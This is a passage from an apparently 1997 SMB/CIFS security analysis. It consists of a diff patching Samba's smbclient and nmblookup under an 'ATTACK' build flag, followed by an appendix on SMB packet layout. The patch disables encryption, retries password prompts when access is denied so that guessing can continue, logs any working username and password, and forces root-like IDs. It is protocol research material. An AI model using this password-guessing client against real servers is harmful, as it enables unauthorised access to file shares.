  2077. +     if (err == 5) return (2);  /* access denied */
  2078. +     if (err == 65) return (1);  /* network access denied */
  2079. +     if (err == 67) return (6);  /* network name not found */
  2080. +     if (err == 71) return (1);  /* no more connections */
  2081. +     if (err == 86) return (2);  /* network password incorrect */
  2082. +     if (err == 87) return (1);  /* parameter incorrect */
  2083. +     if (err == 90) return (1);  /* too many UIDs */
  2084. + /* XXX: the rest of these might be ERRSRVs too -- all return 1 anyways, so
  2085. wtf. */
  2086. +     if (err == 2240) return (1); /* access denied from this WS */
  2087. +     if (err == 2241) return (1); /* access denied at this time */
  2088. +     if (err == 2242) return (1); /* password expired */
  2089. +     if (err == 2247) return (1); /* security database corrupted */
  2090. +     if (err == 2455) return (1); /* invalid workgroup */
  2091. +   } /* ERRDOS */
  2092. +   return (1);    /* didn't find any mapping */
  2093. + } /* interpret_error */
  2094. + #endif /* ATTACK */
  2095.  
  2096. ***************
  2097. *** 171,172 ****
  2098. --- 242,247 ----
  2099.         SSVAL(outbuf,smb_flg2,0x1);
  2100. + #ifdef ATTACK
  2101. +       SCVAL(outbuf,smb_flg,0x18); /* already-canonical filenames */
  2102. +       SSVAL(outbuf,smb_flg2,0x2001); /* execute perm == read perm [?] */
  2103. + #endif /* ATTACK */
  2104.       }
  2105. ***************
  2106. *** 282,283 ****
  2107. --- 357,364 ----
  2108.  
  2109. + #ifdef ATTACK
  2110. + /* we don't care if it's a bad path or not */
  2111. +   if (report && CVAL(inbuf,smb_rcls) != 0)
  2112. +     DEBUG(2,(" [but continuing anyway]\n"));
  2113. +   return (True);
  2114. + #endif /* ATTACK */
  2115.     return(CVAL(inbuf,smb_rcls) == 0);
  2116. ***************
  2117. *** 447,450 ****
  2118. --- 528,533 ----
  2119.         strcpy(dname,cur_dir);
  2120. + #ifndef ATTACK
  2121.         strcat(cur_dir,"\\");
  2122.         dos_clean_name(cur_dir);
  2123. + #endif /* ATTACK */
  2124.  
  2125. ***************
  2126. *** 834,837 ****
  2127.     if (CVAL(inbuf,smb_rcls) != 0)
  2128.       return(False);
  2129. !
  2130.     /* parse out the lengths */
  2131. --- 917,927 ----
  2132.     if (CVAL(inbuf,smb_rcls) != 0)
  2133. + #ifdef ATTACK
  2134. + /* show us why */
  2135. +   {
  2136. +     DEBUG (0,("Trans failed: %s\n", smb_errstr (inbuf)));
  2137. +     return (False);
  2138. +   }
  2139. + #else
  2140.       return(False);
  2141. ! #endif /* ATTACK */
  2142.     /* parse out the lengths */
  2143. ***************
  2144. *** 3014,3016 ****
  2145.  
  2146. !   DEBUG(3,("Sec mode %d\n",SVAL(inbuf,smb_vwv1)));
  2147.     DEBUG(3,("max xmt %d\n",max_xmit));
  2148. --- 3104,3106 ----
  2149.  
  2150. !   DEBUG(3,("Sec mode %d\n",sec_mode));  /* fixt.  _H*/
  2151.     DEBUG(3,("max xmt %d\n",max_xmit));
  2152. ***************
  2153. *** 3020,3021 ****
  2154. --- 3110,3119 ----
  2155.     doencrypt = ((sec_mode & 2) != 0);
  2156. + #ifdef ATTACK
  2157. + /* don't encrypt, period */
  2158. +   doencrypt = 0;
  2159. + /* don't screw with SessSetupX step unless we genuinely need it */
  2160. +   use_setup = ((sec_mode & 1) != 0);
  2161. + /* always read a password anyways */
  2162. +   got_pass = 0;
  2163. + #endif /* ATTACK */
  2164.  
  2165. ***************
  2166. *** 3103,3104 ****
  2167. --- 3201,3211 ----
  2168.  
  2169. + #ifdef ATTACK
  2170. +       cur_err = interpret_error (
  2171. +    CVAL (inbuf, smb_rcls), SVAL (inbuf, smb_err));
  2172. +       if (cur_err == 2) {
  2173. +  DEBUG (2, ("session setup failed: %s\n", smb_errstr (inbuf)));
  2174. +  goto get_pass;
  2175. +       }
  2176. + #endif /* ATTACK */
  2177. +
  2178.         if (CVAL(inbuf,smb_rcls) != 0)
  2179. ***************
  2180. *** 3129,3130 ****
  2181. --- 3236,3241 ----
  2182.  
  2183. + #ifdef ATTACK
  2184. + /* we're in */
  2185. +       DEBUG(0,("session established as %s/%s\n", username, password));
  2186. + #endif /* ATTACK */
  2187.         if (Protocol >= PROTOCOL_NT1) {
  2188. ***************
  2189. *** 3193,3194 ****
  2190. --- 3304,3313 ----
  2191.  
  2192. + #ifdef ATTACK
  2193. +       cur_err = interpret_error (
  2194. +    CVAL (inbuf, smb_rcls), SVAL (inbuf, smb_err));
  2195. +       if (cur_err == 2) {
  2196. +  DEBUG (2, ("TCon failed: %s\n", smb_errstr (inbuf)));
  2197. +  goto get_pass;
  2198. +       }
  2199. + #endif /* ATTACK */
  2200.     /* trying again with a blank password */
  2201. ***************
  2202. *** 3217,3219 ****
  2203.  
  2204. !
  2205.     max_xmit = MIN(max_xmit,BUFFER_SIZE-4);
  2206. --- 3336,3341 ----
  2207.  
  2208. ! #ifdef ATTACK
  2209. ! /* we're in */
  2210. !   DEBUG(0,("tcon %s connected as %s/%s\n", service, username, password));
  2211. ! #endif /* ATTACK */
  2212.     max_xmit = MIN(max_xmit,BUFFER_SIZE-4);
  2213. ***************
  2214. *** 3863,3865 ****
  2215.      receive_smb(Client,buffer,0);
  2216. !
  2217.   #ifdef CLIX
  2218. --- 3985,3991 ----
  2219.      receive_smb(Client,buffer,0);
  2220. ! #ifdef ATTACK
  2221. ! /* don't send chkpath-keepalives on a nonexistent tcon */
  2222. !       if (cnum == 0)
  2223. !  continue;
  2224. ! #endif /* ATTACK */
  2225.   #ifdef CLIX
  2226. ***************
  2227. *** 4043,4044 ****
  2228. --- 4169,4177 ----
  2229.     umask(myumask);
  2230. + #ifdef ATTACK
  2231. + /* oh, c'mon. */
  2232. +   pid = 2048;
  2233. +   uid = 0;
  2234. +   gid = 0;
  2235. +   mid = 2048;
  2236. + #endif /* ATTACK */
  2237.  
  2238. *** nmblookup.c Thu Jan 30 20:52:47 1997
  2239. --- attack/nmblookup.c Tue Jan 21 01:39:16 1997
  2240. ***************
  2241. *** 54,56 ****
  2242. --- 54,60 ----
  2243.  
  2244. + #ifdef ATTACK
  2245. +   ServerFD = open_socket_in(SOCK_DGRAM, 137,3);
  2246. + #else
  2247.     ServerFD = open_socket_in(SOCK_DGRAM, 0,3);
  2248. + #endif /* ATTACK */
  2249.  
  2250. ***************
  2251. *** 142,144 ****
  2252. --- 146,150 ----
  2253.    strcpy(scope,optarg);
  2254. + #ifndef ATTACK
  2255.    strupper(scope);
  2256. + #endif /* ATTACK */
  2257.    break;
  2258.  !-- chop --!
  2259. Appendix C: Overview of an SMB packet
  2260. =====================================
  2261. This is [roughly] the structure of an SMB packet as found inside the TCP
  2262. payload and Samba's internal buffers.  The leading length integer is not
  2263. part
  2264. of the SMB proper, and does not always appear under other transport types.
  2265. For further details, see CIFS section 2.4.
  2266. offset name   size contents / comments
  2267. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  2268. ~
  2269.  0 [length int.]   4 TCP transport-layer data length
  2270.  4 header start   4 0xFF, 'S', 'M', 'B'
  2271.  8 SMB command   1 cmd code
  2272.  9 smb_rcls   2 error class; 0 = no error
  2273. 11 smb_err    2 error code ; 0 = no error
  2274. 13 smb_flg    1
  2275. 14 smb_flg2   2
  2276. 16 [filler]  12
  2277. 28 TID    2
  2278. 30 PID    2
  2279. 32 UID    2
  2280. 34 MID    2
  2281. 36 word count   1 number of following parameter words
  2282. 37 smb_vwv0   2 0x00FF [intel order] if no AndX cmd
  2283. 39 smb_vwv1   2 0x0000 if no batched AndX stuff
  2284. 41 smb_vwv2   2 ...
  2285.    ... to a variable length's worth ...
  2286. ?? buffers    * smb_buf() finds this offset
  2287.    ... SMB ends at (TCP-len + 4) ...
  2288.  H* 970130
  2289.  
  2290.